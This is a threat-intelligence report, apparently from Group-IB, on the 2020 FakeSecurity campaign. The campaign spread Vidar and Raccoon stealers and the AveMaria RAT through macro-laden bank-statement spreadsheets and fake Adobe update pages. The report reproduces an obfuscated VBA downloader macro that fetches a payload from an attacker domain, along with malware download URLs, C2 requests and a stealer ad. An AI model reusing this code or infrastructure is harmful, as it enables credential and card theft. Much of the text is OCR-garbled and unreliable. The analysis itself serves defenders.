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Introduction

In the summer of 2020, Group-IB specialists discovered a malware distribution campaign exploiting Telegram’s
legitimate features. Analysis showed that the attackers used the technique to distribute Raccoon stealer, i.e.
malware spread through the Malware-as-a-Service model on one of darknet forums. They, in particular, used

Telegram channels in order to bypass blocking of active C&C servers.

Raccoon Stealer collects system information, account data, bank card data, and autofill form details from browsers
(Google Chrome, Mozilla Firefox, Opera, etc.). What’s more, Raccoon Stealer scans the infected device for

information about valid crypto wallets. If successful, it gains access to configuration files.
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raccoonstealer

We steal, you deal
YY) Raccoon Stealer. We steal, You deal!

Hauwa KoMaHaa ¢ FOPROCTHH0 NPEACTABNAET BaM Pe3y/ILTAT CBOSH MHOTOMECAUHON PaGoTe!

Euge HUKOrAa NPOLECT A06LINM NOTO8 HE GbUI TAK NETOK W MHTYUTHBHO NOHATEH. A COPTMPOBKA HACTONLXD GLICTPOI 1 YAOGHON. Mbl BIANN HA CEGA BCE PYTHHHLIE PABOUME MOMEHTS!, KOTOpLIe
TPATHNK Bale APArOUEHHOS BPEMA W HEPBbI, NO3BO/NE CKOHUSHTPUPOBATLCA HA CAMOM NIABHOM, - HA YBENHUEHNH Batwel NpuGLLN

MOoXHO 3a6biTh NPO GECUNCNBHHOS NOAHATHE CEPBEPOB N NPOKNAAOK, CEOPKY GHNA0B M BCE CBAZAHHBIE C ITHM XNO0NOTHI. Teneps NPOUECT NONHOCTLIO ABTOMATHIMPOBAH: HYXHO NMWL CAGNATH
HECKOMbLKD KIHKOB MbiLLIKOW

Joined

Activity

Halm CneuManicThl BeNW NapannensHyk paspasoTky No TPeM HanpasneHusM: Software, Front-end, Back-end. 3T0 NPeOCTABINO BOIMOXHOCTH CEHOKYCHPOBATLCA HA KOHKDETHBIX 3aakax i
NONYYMTH HA (PUHHLIE BCECTOPOHHE NPOPAGOTaHHLIN NPORYKT.

Cexuit copt

* Cobcraenmbiil ko1 Haw 61 e ABNAETCH OPKOM YXE CYUIECTBYIOLIMX Ha PolKe NPOAYKTOS.

o Crinep HanuCas Ha C/C++, YTO IHAYMTENBHO YBENMUMAO CKOPOCTH PABOTHE

o Haw 61 AaCT Bam OTAMUMBIA OTCTYK NPH KDKAOM NPONKBE, BeAb EHOTA 3aMENAIOT eANHMLLI AHTHBHPYCOB B YCNOBMAX AMHAMMMECKOO TECTA.

« Raccoon cOBMPaeT: NaponM, Ky # ABTOIANONHENME M3 BCEX NOMYNAPHLIX Gpay3epos (Bkmovan FireFox x64), pasmuie CC, CHCTEMHYIO MH(POPMALMIO, NPAKTHUECKH BCE CYLECTBYIOUIE
ACCKTONMBIE KOWENLKA KDHITOBAMOT,

© BCTpoenbiil 3arpyunk dhainos.

o PaBoTa xax Ha 32, Tax u Ha 64-6uTHeIX cucTemax Gea zasncumocTed or NET.

* ®aiin wa suixoge - Native x86 executable npocT 8 kpunToBaHNM.

* Private key, agpec refiTa ¥ BCe OCTANLHBIE CTPOYHBIE IHAYEHHA CHNLHO 3ALMMPOBAHLI

Ad of Raccoon stealer on one of underground forums (translation is provided below)
Translation
arrow_drop_down

Raccoon Stealer. We steal, You deal!

Page 1 of 37



https://www.group-ib.com /blog/fakesecurity_raccoon

Our team proudly presents the result of many months of work.
Stealing logs has never been so easy and straightforward and sorting them as never been so fast and comfortable.
We deal with all the frustrating, time-consuming, and tedious issues so that you can focus on what’s important:

increasing your revenue.

Forget about routing and maintaining servers, assembling builds, and other problems. We’ve gone automatic — all

you need is a few clicks.

Our specialists work in three areas: software, front-end, and back-end. It helps us focus on specific goals and

release a complete product.
New software:

e Exclusive code. Unique build

e (C/C++ stealer with enhanced performance

o Excellent signal for each entry; only some antivirus software detects Raccoon during dynamic testing

e Raccoon collects passwords, cookies, autofill data from all popular browsers (including FireFox x64), CC
data, system information, and almost all types of desktop crypto wallets

e Embedded downloader

e Compatible with x32 and x64 operating systems regardless of .NET

» You get an easy-to-encrypt Native x86 executable file

o Private key, gate address, and other string values are heavily encrypted

During research, Group-IB Threat Intelligence experts established links with other elements of the threat actors’

infrastructure and recreated the malicious campaign timeline. The campaign was divided into four stages based on

the tools used (type of malware, registrars for creating infrastructure, etc.):

 First wave: February 19 to March 5 2020

e Second wave: March 13 to May 22, 2020

e Third wave: June 29 to July 2, 2020

o Fourth wave: August 24 to September 12, 2020

Most domains related to the investigated campaign were registered with two registrars: Cloud2m and Host

Africa. Cloud2m was used in earlier attacks. In mid-July 2020, some of these domains moved to Host Africa.
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Timeline of hacker group FakeSecurity's

malicious campaigns

March 13 —
May 22

February 19 —
March 5

Phishing kit Documents with

Mephistophilus malicious macros
+ v

documents with Stealer Raccoon
malicicus macros
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StealerVidar

Registration

of domains for the
campaign with
the use of
JS-sniffer
FakeSecurity

June 29 —
July 2

Documents with
malicious macros
J

Stealer Raccoon

Timeline of FakeSecurity’s malicious campaign from February to September 2020

|GHDUP‘TB|

August 24 —
September 12

Phishing kit
Mephistophilus

+

documents with
malicicus macros

Stealer Raccoon

Group-IB experts concluded that the purpose of the campaign in question was to steal payment and user data. The

attackers used several attack vectors and tools to deliver the malware.

It was also discovered that in early 2020, before distributing the Raccoon stealer, the attackers had distributed

samples of another stealer called Vidar. To do so, they used attachments with malicious macros and phishing pages

created with the Mephistophilus phishing kit.

Infection pattern in the malicious
campaigns of hacker group FakeSecurity
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Infection pattern in the malicious campaigns of hacker group FakeSecurity

This malware distribution technique reminded Group-IB experts of the pattern used by FakeSecurity JS-sniffer
operators during the campaign described in November 2019. Apart from having similar toolkits, both series of
attacks targeted e-commerce. In May 2020, Group-IB identified online stores that had been infected with a
modified JS-sniffer of the FakeSecurity family. The JS-sniffer was obfuscated using the aaencode algorithm,
while the domains used to store the code and collect stolen bank card data were registered during the second wave
with the same registrars as the domains that we discovered while investigating the malicious campaign. As such, it

can be assumed that FakeSecurity JS-sniffer operators were behind the stealer distribution campaign.
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Domain infrastructure of FakeSecurity's
malicious campaigns

GROUR|IB

securitycloudserverco za
cloud-server-updatercaza
cloud-server-updater(1-28].coza
googlejscoza

expresss.coza
yahoo-networkco.za
yahoo-js.co.za
yahoo-cloud.coza
google-network.coza
free-js.coza

amazon{s.co.za

business-366.002a
cloudupdates.coza

msupdaterco.za

Domains that changed
their registrar

google-js.coza

express-s.co.za

yahoo-network.co.za
yahoo-js.coza
yahoo-cloud.coza
google-network.coza
free-js.coza
amazons.co.za

cloudupdates coza
cloud-server-updatercoza
cloud-server-updater(1-28].coza
documents-cloud-servercoza
documents-cloud-server[1-9] co.za
cloud-update-serverl.coza
cloudupdate.co.za
msupdaterco.za

Host
Africa

Cloud2M

oneupdateadobe.co.za
updateadobe.coza
oneupdateadobe[2-4] coza
oneupdateadobe[2-3] orgza
updateforadobenew.coza
updateadobeonline.coza
azure-cloudcoza
azure-cloud(1-4]co.za
azure-cloud[1-3]web.za
code-cloud.coza
code-cloud(1-6]coza
google-document.coza
cloud-seriptcoza
node-jsweb.za
node-jsorgza
lib-cloud.org za
google-jsorgza
nodejs.orgza
nodejsweb.za
google-jswebza
asp-cloudorgza
script-cloud.coza
microsoft-cloudl.coza
microsoft-cloud[B-15) co.za
download-plugin.co.za

l

Mephistophilus

documents-cloud-server[1-9][ Jcoza
documents-cloud-server| Jcoza
oneupdateadobe.co.za
eneupdateadobe[2-4].coza
updateforadobenew.co.za
oneupdateadobe.orgza
oneupdateadcbe(2-3] orgza

p
Gates of modified JS-sniffer
FakeSecurity

~

Domain infrastructure of FakeSecurity’s malicious campaigns

First wav

Raccoon u Vidar Stealer

cloud-server-updatercoza
cloud-server-updater[1-28) coza
365.228.95[]80
35198.88[]196
34105.255(]170
1021301355
34105.219[]83
eneupdateadobe coza
oneupdateadobe[2-4].co.za
updateforadobenew.co.za
microsoft-cloudi[ Jea.za
microsoft-cloud|6-16] Jeo.za
cloudupdates[]coza
oneupdateadobe[2-3].orgza
badlandsparks.com
gineuterinfo
paunsaugunt.cem
precambrianera.com
biscayneinn.com

The first wave of domain registrations began in the co.za zone on February 19, 2020. The suspicious domains

contained the following keywords: cloud, document, and Microsoft. Examples of domains registered during the

first wave are presented below:
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msupdater[.]co.za 2020-02-19
documents-cloud-server[.]co.za 2020-03-05
cloudupdate[.]co.za 2020-02-21

As part of the campaign’s first wave, the initial compromise vector used: (i) mailings with attachments containing

malicious macros and (ii) phishing pages leading to malware downloading.

Documents with macros

On February 28, nine days after the first domain was registered, the file “Bank001.xIsm” (SHA1:
b1799345152f0f11a0a573b91093a1867d64e119) was uploaded to VirusTotal via a US web interface.

FnasHan Bcraska PasmeTka cTpaHnLbl Dopmyns! Janbie Peuensuposanue

Ll \x, Beipesats

D - B Meperectn Texct O6wmin - ,,‘
E@ Konuposate ~ =

Calibri S A A =

Bcrasute K K Y - e M. |l == o= = OGBAIHHHTS W NOMECTHTS B LeHTpe = | L= v 9 o0 %9 29 YcnosHoe ®Gopmatnposate Cruan
- ¥ Dopmart no obpasuy - - A - - < R GRl bopmatnposanne ©  kak Tabnwy Aueek ~
Bydep o6mera (] WpndT ] BripaBHMBaHne ] Yuwno (] CTuan
! NPEAYNPEX AEHWUE CUCTEMbI BESONACHOCTU 3anyck MakpoCos OTK/IHOYEH. Brnounte cogepximoe
Al - I~
A B z D E F G H 1 J K L M N o P Q R

n The cells of this doc‘:ume‘nt are locked and will not
have data in them until the "Enable" button is pressed.

[-R- RENEE- T R

SHA1: b1799345152f0f11a0a
573b91093a1867d64e119 lure document. Alert says: “SECURITY WARNING. Macros have been disabled.

29

“Enable content.

The file is a lure document with malicious macros. When activated, it downloads a payload from

http://cloudupdate.co[.]za/documents/msofficeupdate.exe.
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Sub Auto_Open()

DoesWSExist ("aall")

End Sub Function DoesWSExist(wsName As String) As Boolean

Dim ws As Worksheet s = s & "dim grove:dim uuuuuuuuuuuu:ival(aa = ""'a"")" & vbCrLf

5 =5 "Function ival(obj)" vbCrLf

" Eval(obj)" vbCrLf

"End function" vbCrLf

"fsdfdsfs = ""aHR@cDovL2Nsb3VkdXBkYXR1LmNvLnphL2RvY3VtZW5@cy9tc29mZmljZXVwZGFeZS51leGU="" " vbCrLf
"yulkytjtrhtjrkdsarjky =""bXNvZmZpY2V1cGRhdGUuZXhl"""™ & vbCrLf

"frease =

"itype = ""bin. vbCrLf

"Function ase64Decode(ByVal sBasef4EncodedText, ByVal fIsUtfl6LE)" vbCrLf

" Dim sTextEncoding"” & vbCrLf

" if fIsUtfl6LE Then sTextEncoding = ""utf-16le"" Else sTextEncoding = ""utf-8""" & vbCrLf
" ' Use an aux. XML document with a Base64-encoded element." vbCrLf

' Assigning the encoded text to .Text makes the decoded byte array" & vbCrLf

available via .nodeTypedvalue, which we can pass to BytesToStr()" & vbCrLf
varob = ""CreateObject""" & vbCrLf

' Execute(""Set alxmd = "" + varob + ""(""""Msxml2.DOMDocument"""").CreateElement(""""aux"""")"")" & vbCrLf

" alxmd.DataType = itype" & vbCrLf

" alxmd.Text = sBase64EncodedText" vbCrLf

" ase64Decode = BytesToStr(alxmd.NodeTypedValue, sTextEncoding)" & vbCrLf

"End Function" vbCrLf

"aaax = ""ADODB.Stream""" vbCrLf

"function BytesToStr(ByVal byteArray, ByVal sTextEncoding)" vbCrLf

" If LCase(sTextEncoding) = "“utf-16le"" then™ & vbCrLf

' UTF-16 LE happens to be VBScript's internal encoding, so we can" & vbCrLf

' take a shortcut and use CStr() to directly convert the byte array" vbCrLf

' to a string.™ & vbCrLf

" BytesToStr = CStr(byteArray)" vbCrLf

' Else ' Convert the specified text encoding to a VBScript string." vbCrLf s

v v nnonononnoonooononoononoononoonooneonoonoononon
“mw v nunnuunnoneoeoneononeonoeoeoooeoeoeoonoeoe

Malicious macros contained in lure document and partially obfuscated in Base64

As aresult, the file “msofficeupdate.exe” (SHA1: £3498ba783b9c8c84d754af8a687d2ff189615d9) is executed.
The C&C server in this case is badlandsparks|.]Jcom. This domain was registered on February 27, 2020 and is
associated with the IP address 185.244.149[.]1100. More than 30 files connect to this domain alone.

Nodes details

badlandsparks.com

. : o

L Domains

Wicas..5d41 0309521 2o 140
= b179..e119 [ N

- = = Domain  Registrar  Regdate  Expdate  Emal  IP

IP
) £4b0...bad3 et 5z tob3.. el
2c9...c8c3 tec_17983777 @whoisprotection.cc H
- 185.244.14y. 100 ! —
= = reg_17983777@whoisprotection.cc
= 1148...c3b7
- www.badlandsparks.com

9125...7938 538c...d171 / 3
. €218...2335

faaa 15da < ;k
adm_17983777@whoisprotection.cc «
; .

nee

= 8b79...bd0c
: ©736...4860 2

WwWWwW " = badlandsparks.com

-
= a7ab6...ab8b

www N
13b7...b9b6
www.badlandsparks.com
185.244.149.100 adm_17983:

.

d1cd...8h38 1P 80ee..0Tca i = nee

badlandsparks.com

1 185.234.52.161 L c96e...e5ca

~ .

d8e6...4507 WY IP =
= 5799...afe8

169.239.128.11 SSL e4d6...068a
b21b...0954 . <
L

= _& d124..7f53

= 1P
161b...574d 2 4b40...adaf
2868..c8bd £ & 107.189.10.2400 = | " 5100...130d

-
= giaad...428240 &
L =

2645...ed0d 5b32...f7f4

30a...a7e1

2621300 9241l

Infrastructure relating to the domain badlandsparks[.]Jcom established with the help of Group-IB Graph Network
Analysis
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These files include “13b7afe8ee87977ae34734812482ca7efd62b9b6” and
“596a3cb4d82e6ab4d7223be640f614b0f7bd14af*. They create a network connection to gineuter|. ]info,
fastandprettycleaner|.]hk and badlandsparks[.]com. Judging by the requests they make to download libraries and

open source data, the file “msofficeupdate.exe” and others like it are samples of the Vidar stealer. Criminals use

the stealer to collect data from browsers (including web browsing history and account data), bank card data,

crypto wallet files, messages, and more.

Vidar stealer admin panel

G raph 13b7afegee879772e34734812482ca7efd62bIb6, 596a3cbadB2e6abad7223be6:

www
1P} ws3B.watashinonegai.ru

sszzs134718
>
. A
s =
o s0_2328706

wn
www

[
- - - * badlandsparks.com
59623ch4d82e6abad7223be640f614b0f7bd14af (s

+docs. googleusercontent.com

www

71852442409 100

1P

SID_ 2828705
o=

45.143.138.69
Wl

ar

83

fastandprettycleanerhk | Se Sib-28522%5

SID 2836156

BoilTi B cucTemy

< 596a3cb4d82e6ab4d7223be640f614b0f7bd14af

Host: badlandsparks.com
Connection: Keep-Alive
Cache-Control: ne-cache

http://badlandsparks.com/freebi3.dil

GET /freebl3.d1ll HTTP/1.1

Accept: text/html, application/x .9, application/xhtulexnl, image/png,
image/jpeg, image/gif, image/x- */*;q-0.1

Accept-Language: ru-RU,ru

Accept-Charset: iso-8859- utf-16, *;q=0.1

Accept-Encoding: deflate, gzip, x-gzip, identity, *:q-8

Host: badlandsparks. com

Connection: Keep-Alive

http://fastandprettycleaner.hk/afus

GET /afus HTTP/1.1

Accept: text/html, application/xml;q=8.9, application/xhtmlsxml, image/png,
image/jpeg, image/gif, image/x- 75

Accept-Language: ru-RU,ru;q-

Accept-Charsat: iso-8850-1, utf-8, utf-16, *3q-6.1

Accept-Encoding: deflate, gzip, x-gzip, identity, *;q-0

User-Agent: Mozilla, windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/ 626.121 Safari/537.36

Host: fastandprettycleaner.hk

Connection: Keep-Alive

Cache-Control: no-cache

SHA1: 596a3cb4d82e6ab4d7223be640f614b0f7bd14af file network communication built with the help of Group-

IB Graph Network Analysis

A list of Vidar-specific HTTP requests and a detailed overview are available here:


https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/
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/ (i.e 162) <- Config ip-api.com/line/ <- Get Network Info /msvcp140.dll <- Required DLL /nss3.dll <- Required
DLL /softokn3.dll <- Required DLL /vcruntime140.dll <- Required DLL / <- Pushing Victim Archive to C2

The file “BankStatement1.xIsm” (SHA1: c2f8d217877b1a28e4951286d3375212f8dc2335) is another lure
document with malicious macros. When activated, it downloads the file from http://download-

plugin[.]co.za/documents/msofficeupdate.exe.

The download file SHA1: 430a406f2134b48908363e473dd6dallal72a7el is also a Vidar stealer. The file is

available for download here:

e http://download-plugin.co[.]za/documents/msofficeupdate.exe
e http://msupdater.co[.]za/documents/msofficeupdate.exe

e http://cloudupdate.co[.]za/documents/msofficeupdate.exe

(D) 53 engines detected this file C ] 2 pg
2055cbe951d3d2fdc7c7id129699acc45e3b13f0cbba04710bTcc8f3f3ba50M 561.00 KB 2020-03-05 20:33:18 UTC %
msofficeupdate.exe Size 5 months ago EXE
- direct-cpu-clock-access. peexe repeated-ciock-access. runtime-modules
mmunity
DETECTION DETAILS RELATIONS BEHAVIOR CONTENT SUBMISSIONS COMMUNITY

ITW Urls B

Scanned Detections URL

2020-06-14 8/80 http://download-plugin.co.za/documents/msofficeupdate exe

2020-06-14 12 /80 http://msupdater.co.za/documents/msofficeupdate.exe

2020-02-29 4/70 http:/fcloudupdate_co za/documents/msofficeupdate exe

Contacted URLs =]

Scanned Detections URL

2020-05-04 8/79 http//badlandsparks com/nss3.dll

2020-05-04 8/79 http://badlandsparks.com/softokn3.dll

2020-06-11 6 /80 http://badlandsparks_com/mozglue_dll

2020-05-04 8/79 httpr/fbadlandsparks comfcruntime 140 dll

2020-05-04 8/79 http://badlandsparks.com/msvep140.dil

2020-04-30 3/79 http://badlandsparks_com/

2020-04-22 6/79 http://badlandsparks.com/freebl3.dIl

2020-08-10 0/79 http:/fip-api.com/line/

2020-04-23 6/79 http//badlandsparks com/302

Example of 430a406f2134b48908363e473dd6dallal72a7el file availability from different sources
Mephistophilus phishing kit
The second attack vector during the first wave was the use of phishing pages to distribute malware.

It turned out that the discovered domains (msupdater[.]co.za, cloudupdate[.]co.za and documents-cloud-
server[.]co.za) had the same A record created at the same time: 160.119.253[.]53. According to Group-IB’s Graph

Network Analysis, documents-cloud-server[.]co.za contained the Mephistophilus phishing kit.
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www
alloaypparel.com (71 1P

WWwW 185.141.25.136
146.0.77.232 Py

www

www_alloaypparel.com =

mep-server.gdn
updatepluginsnetwork.com W0 d02
www ©
160.11.100.63
adobeupdateplugins.com www

"y 1P www.documents-cloud-server1.co.za

www.updatepluginsnetwork.com 35100

1P

1011925353 @

Mephistophilus 2 documents-cloud-server1.co.za

L

2601..8616

@
oy o
U @ mail.documents-cloud-server1.co.za @

www.documents-cloud-server2.co.za documents-cloud-server3.co.za

documents-cloud-server.co.za
S www.documents-cloud-server7.co.za

wwwil ww documents-cloud-server3.0.za
5. .fdds @ ] -~

documents-cloud-server7.co.za
mail.documents-cloud-server3.co.za
mail. documents-cloud-server.co.za www.documents-cloud-server6.co.za

-~
{ - _
. documents-cloud-server2.co.za

bocs...e142
mail.documents-cloud-server7.co.za = -
0 =
cpanel.documents-cloud-servert.co.za =
www

beds...2d76 Ny 0e38..2295
@ webmainiLcuments-cloud-servers.co.za

Links between domains under review established with the help of Group-IB Graph Network Analysis

From the start, Mephistophilus has been presented as a system for targeted phishing attacks. This phishing kit

contains several fake web page templates for delivering payload, including:

e Microsoft Office 365, Word, and Excel online viewers
e PDF online viewer

e YouTube phishing page
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MEP-1

TARGETED ATTACKS

lsername
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Plugin update required
A = This decument cannot be displayed correctly
You are using an older version of Adobe Reader PDF Plugin

for Google Chrome
Adobe Reader

Download plugin

Adobe / Terms of Use / Privacy

Fake Adobe Reader update window

The documents-cloud-server|.]co.za domain contains a web fake imitating an Adobe Reader plugin update page.
To continue viewing the document, the user is asked to download a plugin. By clicking on “Download plugin,” the
user activates a malware download from http://www.documents-cloud-server[.]co.za/file_d/adobe-reader-update-

10.21.01.exe. Source code of phishing content is available here.

A file with the same name “adobe-reader-update-10.21.01.exe” (SHA1:
£33c1f0930231fe6f5d0f00978188857cbb0e90d) was first uploaded to VirusTotal on March 13, 2020. It was

available for download here:

http://documents-cloud-server5|[.]co.za/file_d/adobe-reader-update-10.21.01.exe
« http://documents-cloud-serverl[.]co.za/file_d/adobe-reader-update-10.21.01.exe
« http://www.documents-cloud-server9[.]co.za/file_d/adobe-reader-update-10.21.01.exe

e http://documents-cloud-server8[.]co.za/file_d/adobe-reader-update-10.21.01.exe
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DETECTION

ITW Urls

Scanned

2020-06-13
2020-03-12
2020-06-13
2020-06-12

Contacted URLs

Scanned

2020-05-20
2020-08-10
2020-05-20
2020-05-06
2020-04-21
2020-05-25
2020-03-14
2020-06-12
2020-05-20

https://www.group-ib.com /blog/fakesecurity_raccoon

(D) 51 engines detected this file

11ebbd55944d39d90c71d53338b2cdd96b642244c95b9735d 3218418926 9008 572.55 KB
adobe-reader-update-10.21.01.exe Size
overlay peexe self-delete
DETAILS RELATIONS BEHAVIOR CONTENT SUBMISSIONS COMMUNITY
Detections URL
8/80 http://documents-cloud-servers co za/ffile_d/adobe-reader-update-10.21.01 exe
2/ http://documents-cloud-server! co.za/file_d/adobe-reader-update-10.21.01 exe
5/80 http:/fwww.documents-cloud-serverd.co.zaffile_d/adobe-reader-update-10.21.01.exe
6/80 http:/{documents-cloud-server§.co.zalffile_d/adobe-reader-update-10.21.01.exe
Detections URL
11780 http://mangroveforests.com/msvep140.dil
0/79 http:/fip-api.com/line/
10 /80 http://mangroveforests.com/freebl3.dll
9/79 http-//mangroveforests.com/nss3.dll
6/79 http://mangroveforests.com/
10/80 http://mangroveforests com/softokn3._dll
TiT2 http://mangroveforests com/302
8 /80 http://mangroveforests com/mozglue dil
10/80 http://mangroveforests com/veruntime140.dll

2020-03-14 07:28:27 UTC

onths ago

Example of £33c1f0930231fe6f5d0f00978188857cbb0e90d file availability from different sources

VoG
[}
o
EXE
)
)

Another file named “msofficeupdater.exe” (SHA1: bdfefdff7b755a89d60de22309da72b82df70ecb) was available

for download here:

e http://www.documents-cloud-server7[.]co.za/doc/msofficeupdater.exe

e http://documents-cloud-server5[.]co.za/doc/msofficeupdater.exe

e http://documents-cloud-server7[.]co.za/doc/msofficeupdater.exe

« http://www.documents-cloud-server6[.]co.za/doc/msofficeupdater.exe

e http://documents-cloud-serverl[.]co.za/doc/msofficeupdater.exe

e http://documents-cloud-server6[.]co.za/doc/msofficeupdater.exe

e http://www.documents-cloud-server5[.]co.za/doc/msofficeupdater.exe

e http://www.documents-cloud-serverl[.]co.za/doc/msofficeupdater.exe
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(D) 58 engines detected this file 4y = ¥ le
Tdddeb51f2dea’19a6c6e70bf30db9623333713d998b4fBach3 1eebcectbbd12 477.00 KB 2020-04-17 16:01:11 UTC %
msofficeupdater.exe Size 3 mo go EXE
checks-network-adapters direct-cpu-clock-access. peexe runtime-modules self-delste
DETECTION DETAILS RELATIONS BEHAVIOR CONTENT SUBMISSIONS COMMUNITY °

ITW Urls (=}

Scanned Detections URL

2020-06-14 10 /80 http:/fwww.documents-cloud-server7 .co.za/doc/msofficeupdater.exe

2020-06-14 11780 http://documents-cloud-server5 co za/doc/msofficeupdater exe

2020-06-15 16 /79 http://documents-cloud-server7.co.za/doc/msofficeupdater.exe

2020-06-13 8/80 http:/fwww documents-cloud-server6_co.za/doc/msofficeupdater exe

2020-03-14 8/ http://documents-cloud-server.co za/doc/msofficeupdater exe

2020-03-14 9/71 http://documents-cloud-server6.co.za/doc/msofficeupdater.exe

2020-06-13 10780 http:/fwww documents-cloud-servers_co za/doc/msofficeupdater exe

2020-06-14 9/80 http:/iwww.documents-cloud-server.co.za/doc/msofficeupdater exe

Contacted URLs [a]

Scanned Detections URL

2020-04-28 5179 http-//biscayneinn com/nss3 dil

2020-05-06 /80 http://biscayneinn.com/302

2020-04-28 4179 http://biscayneinn.com/

2020-08-10 0/79 http:/fip-api.com/line/

2020-06-13 5180 http://biscayneinn.com/softokn3.dll

2020-04-28 2/79 http-//biscayneinn com/mozglue dIl

2020-04-28 6/79 http://biscayneinn.com/veruntime140.dIl

2020-04-28 5179 http://biscayneinn.com/msvcp140.dil

2020-04-28 5/79 http://biscayneinn com/freebl3 dll

Example of bdfefdff7b755a89d60de22309da72b82df70ecb file availability from different sources

Second wave

The domains associated with the file SHA1: bdfefdff7b755a89d60de22309da72b82df70ecb led us to another
batch of domains related to the attackers’ infrastructure. The domains were registered in two stages: the first batch

on March 13, 2020 and the second one on May 22, 2020. Examples of second-wave domains:

Batch 1 Batch 2

cloud-server-updater[.]co.za cloud-server-updater17[.]co.za
cloud-server-updaterl[.]co.za cloud-server-updater18[.]co.za
cloud-server-updater15[.]Jco.za cloud-server-updater27[.]co.za
cloud-server-updater16[.]co.za cloud-server-updater28[.]co.za

These domains were created to distribute the Raccoon stealer. It is possible to establish the connection between
these domain batches by looking at SHA1: b326f9a6d6087f10ef3a9f554a874243f000549d and SHA1:
F2B2F74F4572BF8BD2D948B34147FFE303F92A0F files. When executed, these files establish a network

connection to:

e cloudupdates|.]co.za

e cloud-server-updater2[.]co.za
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e cloud-server-updater19.co.za

raph b32613a6d608710ef3a97554a8742431000549d, F2B2F74F4572BFBED2D948E3 < P32 6f926d6087110ef3a91554a874243f000549d

DNS

Requests & Responses

cloud server-updater2.co.za

102.130.113.55

cloud server-updater2.co.za

102.130.113.55

cloudupdates.coza

102.130.119.142

o

1P

102130.119.142
b32613a6d6087110ef3a9554a8742431000549d

b326f9a6d6087f10ef3a9f554a874243f000549d file network communication established with the help of Group-IB
Graph Network Analysis

About 50 malicious files from public sources are related to the domain cloudupdates|.]co.za. Their first uploads
date back to April 30, 2020 and the domain is similar to the previously discovered cloudupdate.co[.]za. Besides
having a similar domain name, it was registered through the cloud2m registrar and ns1.host-ww.net, ns2.host-

ww.net as well as msupdater|[.]co.za and cloudupdate].]co.za

MN5Whois: ns1.host-ww.net Domain:cloudupdate.co.za
NSWhois: ns2.host-ww.net Domain:msupdater.co.za
PhoneWhois: +27.164234342 Domain:cloudupdates.co.za

RegistrarWhois: Cloud2M

WhoisServerWhois: Registrar URL: https://www.hostafrica.co.za

WHOIS records data from three domains

About 300 files from public sandboxes are associated with all the second-wave domains. All these files are lure
documents containing malicious macros named “MyBankStatement_2436.xIsm“, MyBankStatement_3269.xIsm,

“MyBankStatement_5763.xIsm*“, etc.
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6685955C5F006C2D83A92952EB5SEB3FB9598C783 lure document sample

One of these files is “MyBank_5710.xlsm (SHA1: 685955C5F006C2D83A92952EB5S5EB3FB9598C783). After
activating the macros in this document, a file was downloaded from http://cloud-server-
updater22[.]co.za/doc/officebuilder. This file with SHA1: 3657CF5F2142C7E30F72E231E87518B82710DC1C is
a Raccoon stealer. It connects to the C&C server (35.228.95[.]180) to exfiltrate the collected information, using
Google’s infrastructure to legitimize requests. In turn, Raccoon makes a network connection to http://cloud-server-
updater1[.]co.za/doc/officeupdate.exe and downloads RAT AveMaria (SHA1:
a10925364347bde843a1d4105dddf4a4eb88c746), with the C&C server located at the IP address
102.130.118[.]152.

AveMaria is a RAT, which was discovered by cybersecurity researchers in late 2018, when it was used to attack an

Italian oil and gas company. The RAT is capable of:

e Privilege escalation
o Ensuring persistence in the infected system
 Injecting code
e Keylogging
e Gaining access to web camera
e Managing processes
e Managing files (creation, download, exfiltration, deletion)
e RDP using rdpwrap
 Info-stealer support:
o Google Chrome

o Firefox
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[o]

Internet Explorer
Outlook
Thunderbird

Foxmail

o

o

o

#AVEMARIA

Z ekkox1zpvz.exe
#RACCOON & e

>
excel.exe e
njysjan.exe

F « n
< @

me

L timeout.exe
N .

6685955C5F006C2D83A92952EBSEB3FB9598C783 execution sequence

When running, Raccoon makes the following network requests:

58 (D) 58 engines detected this file
5c2f5f5dd381678e8507be2a11ebal1115f28/6de24c 10b4f2207c 04606 0ed0 61700 KB 2020-07-26 10:40:35 UTC
clxggughe\gemdpttinjysjan.exe
executes-dropped-fie peexe self-delete
DETECTION DETAILS RELATIONS BEHAVIOR CONTENT SUBMISSIONS COMMUNITY
Contacted URLs =]
Scanned Detections URL
2020-08-01 19/79 http://cloud-server-updateri.co.za/doc/officeupdate exe
2020-07-02 7179 http://35.228 95 80/gate/log.php
2020-06-28 9179 http://35.228 95 80/gate/sqlite3.dll
2020-07-06 2179 https://telete.in/blintick
2020-07-01 9179 http://35.228 95 80/gate/libs zip
http://35.228 95 80/file_handler/file_php?hash=a16bf6c0efc6dadct17b0f03d7095b06835a597e&|s=409bd8aad9544d0e226ea93bef79a457276fbe 11&callback=http.
1/35.228.95 80/gate
Contacted Domains =]
Domain Detections Created Registrar

cloud-server-updateri co.za 9 /83

telete in 5792 2019-03-11 GoDaddy com, LLC

3657CF5F2142C7E30F72E231E87518B82710DC1C network requests

Among these network requests, there is a connection to the blintick Telegram channel. Telegram was used by
Raccoon’s creators to bypass blocking of the C&C servers. To this end, the stealer makes a request to the
Telegram channel and receives the encrypted address of the new C&C server from the description. The first

samples using this technique began appearing on VirusTotal in late May 2020.
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ITSETS SUALE | Gate system update Raccoon Stealer 1.5.11 Mbl NONHOCTbIO OTOWLMA OT NPH
[APEH[IA] Raccoon Stesler [mass, loader, o/c+] AT TS JEE | Gate system up pi
06.05.2020 S BBIUHO

@ exploitin 7] 08.04.2019 —25.09.2020 2 119 =
(& raccoonstealer

Details

Identical re-posts  Linked profiles

exploit. [APEHAA] Raccoon Stealer [maas, loader, c/c++]

OGHoBMeHHe cUcTeMb! reiiTos | Gate system update Raccoon Stealer 1.5.11 Mal NIOMIHOCTLIO OTOILLTN OT NPUBLIMHOM CHCTEMI. JIETEKT yMEHBLUAETCS, OTCTYK PACTET.
06HOBNEHHe Gunpa: - DOPMAT CKPUHLLIOTOB 3aMeHEH Ha jpeg CMIAcUG0 3a BaLIM OT3bIBbI U NIOAEPKKY! Contacts: XMPP: SUpPOrt@raccoon.biz Telegram:
http://t.me/beerbug http://t.me/darkgra3n http://t me/raccoonstealer

08.04.2019 25.09.2020

Messages from the designers of the Raccoon stealer
Translation
arrow_drop_down

The gate system has been updated. We have completely changed the traditional scheme. Detection decreases,
keepalives increase. Build has been updated. The screenshot format has been changed to jpeg. Thanks for your

feedback and support!
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Channel Info . X

blintick

@ t.mesblintick

